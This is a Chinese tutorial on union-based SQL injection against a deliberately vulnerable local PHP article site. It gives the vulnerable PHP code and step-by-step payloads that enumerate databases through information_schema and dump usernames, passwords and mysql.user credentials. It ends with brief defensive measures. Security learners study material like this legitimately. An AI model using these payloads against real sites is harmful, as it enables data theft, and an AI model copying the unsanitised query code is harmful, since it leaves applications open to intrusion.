SQL-查询毛病
一、查询注入的数据范例//list.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatiable" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-sacle=1.0">
<title>文章列表</title>
<style>
table{
width : 800px;
margin : auto;
border : solid 1px gray;
border-spacing: 0px;
}
td{
border : solid 1px gray;
height : 40px;
}
</style>
<script>
function doDelete(articleid){
if(!window.confirm("你确定要删除该文章吗?")){
return false;
}
//window.alert(articleid);
$.post('delete.php','articleid='+articleid,function(data){
if(data == 'delete-ok'){
window.alert('删除成功');
//location.href = "list.php";
location.reload();//刷新当前页面
}
else{
window.alert('删除失败' + data);
}
});
}
</script>
</head>
<body>
<table>
<tr>
<td>编号</td>
<td>作者</td>
<td>标题</td>
<td>次数</td>
<td>时间</td>
<td>操作</td>
</tr>
<?php
include "commond.php";
if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
die("请先登录.<a href='login.html'>点此登录</a>");
}
$conn = creat_connection();
$sql = "select articleid,author,headline,viewcount,creattime from learn3";
$result = mysqli_query($conn,$sql);
//将数据库查询的结果集中的数据取出,保存到一个数组中
$rows = mysqli_fetch_all($result);
//遍历结果集数据并在表格中展示
foreach($rows as $row){
echo '<tr>';
echo '<td>' . $row . '</td>';
echo '<td>' . $row . '</td>';
echo '<td><a href="read.php?id=' . $row . '">' . $row . '</a></td>';
echo '<td>' . $row . '</td>';
echo '<td>' . $row . '</td>';
//echo '<td><button onclick="doDelete('.$row.')">删除</button></td>';
echo '<td><button onclick="doDelete('.$row.')">删除</button><button>编辑</button></td>';
echo '</tr>';
}
mysqli_close($conn);
?>
</table>
</body>
</html>
//read.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatiable" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-sacle=1.0">
<title>Document</title>
<style>
div{
width:800px;
margin:auto;
height:60px;
}
</style>
</head>
<body>
<?php
include "commond.php";
if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
die("请先登录.<a href='login.html'>点此登录</a>");
}
$conn = creat_connection();
$id = $_GET['id'];
$sql = "select * from learn3 where articleid=$id";
$result = mysqli_query($conn,$sql);
$article = mysqli_fetch_assoc($result);//读取结果集中的第一行数据,并用关联数组表示
?>
<div><?=$article['headline']?></div>
<div><hr></div>
<div><?=$article['content']?></div>
</body>
</html> 注入点根据可控参数的数据范例不同,可分为3类,分别是:
1、数字型
select * from tables where id = 1; 2、字符型
select * from tables where username = 'woniu'; 3、搜索型
select * from tables where id like '%woniu%'; 4、注释方式
数据范例不同,在注入的payload中会有大小不同,主要就是考察队字符语法规则的理解和注释的运用
#(%23),--(空格--+),/* */ 二、注入步调
1、通过and 1=1,and 1=2的输入,来判断是否存在注入点。如果结果不同等,说明我们输入的语句被数据库执行了
2、通过观察或报错信息来判定输入点的数据范例,数字型,字符型,搜索型
3、使用order by来确定主查询数目,order by本质上是一个排序的语法,但是order by有个条件,就是排序必须建立在精确的主查询条数上。以是在注入中用order by并不是为了排序,而是为了确认主查询的条数,确保union select的查询数与主查询同等。order by只会超出主查询列数后才会报错,小于或等于主查询列数不会报错
http://localhost/security/read.php?id=1 order by 6
http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6
https://i-blog.csdnimg.cn/direct/a85fc169e82c47f4825c4399f3d236e1.png
4、使用union select查询,将主查询改为负数大概不存在
union联合查询的前提:列数相等
select * from tables where id = -1 union select 1,2,3,4,5,6...
如果不知道列数的情况下,可以通过猜测的方式来使用 select * from 表名,通常
表名起的是有意义的,所以猜测正确的概率是有的。如果表名猜测错误,是会出现错误信息
或者查询不出结果。那么只要能查询出结果,则说明表名是正确的,且*的列数也是正确的
在能够回显的基础上,则可以做任意MySQL支持的查询,包括各种SQL语句和内置变量或函数的应用 5、在表现的数字位置上,替换对应的查询语句,database(),version(),user()
http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6 from learn3
将articleid改为-1的话,3和4就代表了headline和content
#还可以直接查询数据表的内容,进而实现拖库(脱裤)以下查询的前提是需要知道表名和列名
http://localhost/security/read.php?id=-1 union select 1,2,3,(select password from learn2 limit 0,1),5,6
limit 0,1的意思是从第0个开始往后取一个
通过concat()进行字符串拼接,可以一次性直接获取一行数据,而不用分列获取
http://localhost/security/read.php?id=-1 union select 1,2,3,(select concat(userid,'==',username,'==',password) from learn2 limit 1,1),5,6 https://i-blog.csdnimg.cn/direct/15fc131d987c4ab6b04495cf98973e1f.png
https://i-blog.csdnimg.cn/direct/07e09acf21bf45d48b3d9e832cf63d96.png
http://localhost/security/read.php?id=-1 union select 1,2,user(),database(),5,6 from learn3 https://i-blog.csdnimg.cn/direct/eb7a48978c2245a1ab9b69b83376eeb7.png
6、使用information_schema举行全部内容查询,得知库名后首先查询表:
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = "库名" 7、根据库名和表名查出全部的列名
select group_concat(column_name) from information_schema.columns where table_schema = "库名" and table_name = "表名"
http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%201,1),5,6
http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20group_concat(columns_name)%20from%20information_schema.columns%20where%20table_schema=%27learn%27%20limit%201,1),5,6 8、知道表名和列名,可以直接查出表的内容
select group_comcat(列名) from "表名"; 9、使用concat连接列值,可以一次性取出很多列
select concat(username,"==",password,"==",role) as userinfo from user 10、如果查出多列,只能表现一列,则可以使用limit
select * from user limit 0,1 或 limit 8,1 等
或
select 1,2,table_name,4,5,6 from information_schema,tables where table_schema='learn' limit 1,1 三、进阶用法
1、使用concat_ws指定分隔符,比concat更加方便
select concat_ws('==',username,password,role) as userinfo from user 2、使用group_concat和concat_ws连用
select * from article where articleid=-1 union select 1,2,
(select group_concat(table_name) from information_schema.tables where table_schema='learn'),
(select group_concat(concat_ws('==',username,password,role)) from user),5,6
/security/read.php?id=-1 union select 1,2,3(select group_concat(concat_ws('==',User,Password,Host)) from mysql.user),5,6
/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3),5,6
一次性完整取得数据库中的数据,再利用Python进行字符串切分,即可还原为二维表。
#如果数据量庞大,则可以分批次进行
/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3 where articleid between 5 and 10),5,6 https://i-blog.csdnimg.cn/direct/428616f8ddd24ad593e277368e12695a.png
https://i-blog.csdnimg.cn/direct/01e81e78307c427eb05e0dcae3689959.png
3、使用十六进制代替单引号
在MySQL中将字符串转换为16进制:select hex('learn'),将十六进制转回字符串:unhex('6C6561726E')
where table_schema=0x6C6561726E and table_name=0x75736572 limit 0,1
/security/read.php?id=-1 union select 1,2,3,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = '0x6C6561726E'),5,6 4、浏览全部数据库
/security/read/php?id=-1 union select 1,2,3(select group_concat(distinct(table_schema)) from
information_schema.tables),5,6
information_schema,learn.mysql,performance_schema,phpadmin,xindai,zabbix 发现存在phpadmin数据库
尝试访问:/phpadmin,如果使用的认证方式有:config,则直接进入后台,如果使用认证方式为:http,则可以爆破,所以最好的方式是不要开启PHPMyAdmin,或者
在需要的时候开启远程访问 https://i-blog.csdnimg.cn/direct/406f9fd64ee14b55b0a7de446db93f9d.png
5、针对非数字型的查询毛病
/security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 %23'
/security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 --+'
select * from learn3 where content like '%页面%';
select * from learn3 where content like '%页面%'-- '%';
select * from learn3 where content like '%页面%'#'%'; 上述查询主要针对MySQL数据库,如果针对Oracle数据库,需要学习Oracle的语法,如果是SQLServer等其他数据库,也一样。
上述注入均是GET请求,针对POST请求是完全一样的用法,只是将Payload移到Post请求的正文当中即可。
首先访问localhost/security/read.php?id=1,出现如果所示的响应:
https://i-blog.csdnimg.cn/direct/70d82aad615d4f349e3b092d883b77fd.png
但凡出现上述URL地址的格式,大概率会有SQL注入毛病,修改?id的值
然后尝试?id=1 and 1=1 和?id=1 and 1=2
id = 1 and 1=2 无法查询到内容,?id = 1 and 1=1 可以查询到内容
说明在这个地方有注入
四、Union查询注入不适用的地方
1、注入语句无法截断,且不清晰完整的SQL查询语句
2、页面不能返回查询信息的时候
3、Web页面中有两个SQL查询语句,查询语句的列数不同
五、防护方法
1、添加addslashes
2、将id类数字型参数转换为整数
3、判断参数的长度,通常一个ID不会太长
4、对输入举行过滤,如information_schema,union,order by,逗号等等
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]